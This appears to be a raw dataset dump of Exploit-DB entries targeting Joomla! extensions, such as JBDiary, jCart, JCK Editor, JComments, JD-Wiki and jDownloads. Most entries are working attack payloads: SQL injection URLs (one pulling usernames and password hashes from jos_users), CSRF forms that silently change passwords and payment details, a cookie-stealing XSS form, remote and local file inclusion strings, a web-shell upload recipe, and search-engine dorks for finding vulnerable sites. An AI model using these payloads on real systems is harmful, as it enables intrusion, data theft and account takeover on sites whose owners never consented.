deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11239
Description: Joomla! Component JBDiary - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-23
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (JBDiary) BLIND SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: 5€
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.6 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://server/?newyear=[SQL]&newmonth=[SQL]


[~]>> -----{VAR NEWYEAR}-----

[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=4%23&newmonth=01 
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=5%23&newmonth=01

[~]>> -----{VAR NEWMONTH}-----

[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=4%23
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=5%23

[~]>> Note: True or False is visible in calendar's colors.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #43323
Description: Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-12
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component JBuildozer 1.4.1 - SQL Injection
# Dork: N/A
# Date: 12.12.2017
# Vendor Homepage: http://jbuildozer.com/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/jbuildozer/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=[SQL]
#  
# 1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
# 
# http://server/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
#  
# # # # #
Exploit-DB #37413
Description: Joomla! Component JCal Pro Calendar - SQL Injection
Type: webapps
Platform: php
Date: 2012-06-15
Author: Taurus Omar

Exploit:
source: https://www.securityfocus.com/bid/54042/info

The JCal Pro Calendar component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_jcalpro&Itemid=1 [SQL Injection]
Exploit-DB #41642
Description: Joomla! Component jCart for OpenCart 2.0 - 'product_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-20
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component jCart for OpenCart v2.0 - SQL Injection
# Google Dork: N/A
# Date: 20.03.2017
# Vendor Homepage: http://soft-php.com
# Software: https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/
# Demo: http://demos.soft-php.com/jcart/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jcart&route=product/product&product_id=[SQL]
# # # # #
Exploit-DB #44788
Description: Joomla! Component jCart for OpenCart 2.3.0.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-28
Author: L0RD

Exploit:
# Exploit Title: Joomla! extension jCart for OpenCart 2.3.0.2 - Cross site request forgery
# Date: 2018-05-28
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.3.0.2
# Tested on: Kali linux
===================================================

# POC :

# Change user information exploit :

<html>
  <body>
    <form action="http://site.com/jcart/account/edit.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="firstname" value="D3C0DE" />
      <input type="hidden" name="lastname" value="revenge" />
      <input type="hidden" name="email" value="decod3&#46;n&#64;gmail&#46;com" />
      <input type="hidden" name="telephone" value="100000" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>


# Change password exploit :

<form action="http://site.com/jcart/account/password.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="password" value="2468" />
      <input type="hidden" name="confirm" value="2468" />
</form>
<script>
   document.forms[0].submit();
</script>


# Change affiliate account information exploit :

 <form action="http://site.com/jcart/account/affiliate/edit.html" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="company" value="decode" />
      <input type="hidden" name="website" value="test&#46;com" />
      <input type="hidden" name="tax" value="100000000" />
      <input type="hidden" name="payment" value="paypal" />
      <input type="hidden" name="cheque" value="&#13;" />
      <input type="hidden" name="paypal" value="test&#64;test&#46;com" />
      <input type="hidden" name="bank&#95;name" value="&#13;" />
      <input type="hidden" name="bank&#95;branch&#95;number" value="&#13;"
/>
      <input type="hidden" name="bank&#95;swift&#95;code" value="&#13;" />
      <input type="hidden" name="bank&#95;account&#95;name" value="&#13;" />
      <input type="hidden" name="bank&#95;account&#95;number" value="&#13;"
/>
    </form>
    <script>
        document.forms[0].submit();
    </script>

====================================================
Exploit-DB #45423
Description: Joomla! Component JCK Editor 6.4.4 - 'parent' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-17
Author: Hamza Megahed

Exploit:
# Title: Joomla Component JCK Editor 6.4.4 - 'parent' SQL Injection
# Date: 2018-09-14
# Exploit Author: Hamza Megahed
# Vendor Homepage:https://www.joomla.org/
# Download: https://arkextensions.com/products/jck-editor
# Version: 6.4.4
# Tested on: Ubuntu, FireFox,
# CVE: N/A

# Parameter = parent
# Payload = " UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL -- aa
# Poc:

Test = [HOST]/[PATH]/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=%22%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa
Exploit-DB #33998
Description: Joomla! Component JComments 2.1 - 'ComntrNam' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40230/info

The JComments component for Joomla! is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to JComments 2.2 are vulnerable. 

<form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@example.com"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script>
Exploit-DB #4508
Description: Joomla! Component JContentSubscription 1.5.8 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-10
Author: NoGe

Exploit:
# JContentSubscription Joomla Component 1.5.8 Multiply Remote File Include Vulnerability

   Component    : com_jcs version 1.5.8 - payable component
   Dicovered by : NoGe
   Contact      : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable file

   /administrator/components/com_jcs/jcs.function.php

   line 6 require_once( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/add.php

   line 7 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/history.php

   line 7 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/register.php

   line 6 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/views/list.sub.html.php

   line 3 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

   /administrator/components/com_jcs/views/list.user.sub.html.php

   line 7 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

   /administrator/components/com_jcs/views/reports.html.php

   line 3 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

# Exploit

   http://localhost/path/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=[evilcode]

# Google dork

   inurl:com_jcs

==================================================================================================================================

# Greetz

   all crew #papuahacker #baliemhackerlink #nyubicrew
   skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke
   yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
   http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-10]
Exploit-DB #30157
Description: Joomla! Component JD-Wiki 1.0.2 - 'dwpage.php?MosConfig_absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-06
Author: DarkbiteX

Exploit:
source: https://www.securityfocus.com/bid/24342/info

JD-Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

JD-Wiki 1.0.2 and earlier versions are vulnerable to this issue; other versions may also be affected. 

http://www.example.com/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path=
Exploit-DB #30158
Description: Joomla! Component JD-Wiki 1.0.2 - 'wantedpages.php?MosConfig_absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-06
Author: DarkbiteX

Exploit:
source: https://www.securityfocus.com/bid/24342/info
 
JD-Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
JD-Wiki 1.0.2 and earlier versions are vulnerable to this issue; other versions may also be affected.
 
http://www.example.com/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path=
Exploit-DB #2125
Description: Joomla! Component JD-Wiki 1.0.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: jank0

Exploit:
####################################################################################
#JD-Wiki Remote File Include
------------------------------------------------------------------------------------
JD-Wiki is the Joomla! integration of the nice DokuWiki.
DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating 
documentation of any kind.
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi

path: ?mosConfig_absolute_path=

xpl:
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=http://shell


Contact: irc.undernet.org #hackbsd & #ircmasters

# milw0rm.com [2006-08-07]
Exploit-DB #17303
Description: Joomla! Component jDownloads 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-18
Author: Al-Ghamdi

Exploit:
____________________________________________________________________
____________________________________________________________________


-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-

[~] Exploit Title: [jDownloads 1.0 Remote File Upload Vulnerability]


[~] Found By: Al-Ghamdi
[?] Contact: by-root@hotmail.com
[?] Date: 18.5.20ll   
[?] Home: in my home
[~] Software Link: [http://www.jdownloads.com/index.php?option=com_jdownloads&Itemid=133&task=view.download&catid=22&cid=234]
[~] Version: Version:1.0
[~] Dork : "Powered by jDownloads"
____________________________________________________________________
____________________________________________________________________

Exploit :

# Open Site ..
# Register [When required you to register]..
# Go to : [Submit file] ..
# Make Shell format like [shell.php.jpg] ..
# Then Upload your Shell ..
# You will see the path of your shell ..
 

# Example   http://www.site.com/public-relations/testimonials
# Example   http://www.site.com/index.php?/component/option,com_jdownloads/Itemid,70/task,view.upload/

(+)Gr33ts to : Only my God [ Allah ] ..
____________________________________________________________________
____________________________________________________________________
Exploit-DB #44471
Description: Joomla! Component jDownloads 3.2.58 - Cross Site Scripting
Type: webapps
Platform: php
Date: 2018-04-17
Author: Sureshbabu Narvaneni

Exploit:
#######################################
# Exploit Title: Joomla! Component jDownloads 3.2.58 - Cross Site Scripting
# Google Dork: N/A
# Date: 14-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.jdownloads.com/
# Software Link: http://www.jdownloads.com/index.php/downloads/category/6-jdownloads.html
# Affected Version: 3.2.58
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-10068
#
# 1. Vendor Description:
#
# Exclusive Download manager for Joomla!
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in plupoad flash component in jDownloads before 3.2.59 allows remote attackers to inject arbitrary web script.
#
# 3. Proof Of Concept:
#
http://url/joomla/administrator/components/com_jdownloads/assets/plupload/js/Moxie.swf?target%g=alert&uid%g=nice
#
# 4. Solution:
#
# Upgrade to latest release.
# https://extensions.joomla.org/extension/jdownloads/
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10068
# https://vel.joomla.org/resolved/2150-jdownloads-3-2-58-xss-cross-site-scripting
#####################################
Exploit-DB #15610
Description: Joomla! Component JE Ajax Event Calendar - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-25
Author: ALTBTA

Exploit:
# Vendor:
http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html

# Download:
http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110

# Author: altbta

# Contact: l_9[at]Hotmail[Dot]com

# Home: http://xp10.com

# Thanks to: rxh  xp10.com >> v4-team.com >> p0c.cc :))

==========================================================================

[+] Dork: inurl:"index.php?option=com_jeajaxeventcalendar"

==========================================================================

[+] exploit:
http://127.168.1.1/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--

==========================================================================
Exploit-DB #13997
Description: Joomla! Component JE Ajax Event Calendar 1.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: L0rd CrusAd3r

Exploit:
Exploit Title:Joomla JE Ajax event calendar SQL Vulnerable 
Version:1.0.5
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-06-23
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

100% MVC structure follow. There are three different managers in that
component:-

1. Category Management
2. Event Management
3. Event Setting

1. Category Management: - Admin can add, edit, delete, published and unpublished the category title and description.

2. Event Management: - Admin can add, edit, delete, published and unpublished the event. Event title, category, start date, end date, description, background color and text color add, edit and delete, published, unpublished from the event management.
Admin has rights that all users or selected user or none can see the event from front end.
Admin can add event to selected category.

3. Setting: - Admin can enable or disable all the events which user can add the event or not.
Admin can set the header1, header2, header3, header4 color using color picker.

Features:-

- Add event to particular category
- Set the calendar color using color picker.
- Admin has rights to add event from site side.
- Admin has rights that all users see the event or selected user can see the events.
- Front end side user can see the event description in light box by click on that event.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL :

http://server/component/jeeventcalendar/?view=[Sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #41337
Description: Joomla! Component JE auction 1.6 - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component JE auction 1.6 - SQL Injection
# Google Dork: inurl:index.php?option=com_jeauction
# Date: 13.02.2017
# Vendor Homepage: http://www.joomlaextension.biz/
# Software Buy: https://extensions.joomla.org/extensions/extension/e-commerce/auction/je-auction/
# Demo: http://www.joomlaextension.biz/demo/
# Version: 1.6
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jeauction&view=event_detail&eid=[SQL]
# # # # #
Exploit-DB #15779
Description: Joomla! Component JE Auto - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-19
Author: Sid3^effects

Exploit:
#Name : Joomla com_jeauto LFI Vulnerability
#Date : Dec,7 2010
#Vendor Url :http://joomlaextensions.co.in/jeauto
#Dork:inurl:com_jeauto
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
#Big hugs : Th3 RDX,Hanan_butt,
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!

Te,n4pst3rr,tranquiller
#greetz to :!Op3x_ninjato team,www.topsecure.net ,trent Dillman,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
User can also see the category at the front page. Category wise items (cars) are displayed in it. Click on the

particular category it will display that category item. If user wants to see that item (car) then click on that

item (car) then it will display the item full description.
User can see the item’s in the Google Map. User can also rate the particular item (car). We have put the Ajax

rating control to rate the item (car). Admin can set the design of category page, item (car) page and item (car)

detail page from the back end. Admin can also create the fields dynamically from the back end.

###############################################################################################################
Exploit:
http://server/jeauto/index.php?option=com_jeauto&view=[LFI]%00

###############################################################################################################
Fix:
   N/a
###############################################################################################################
# 0day no more
# Sid3^effects
# 1337day.com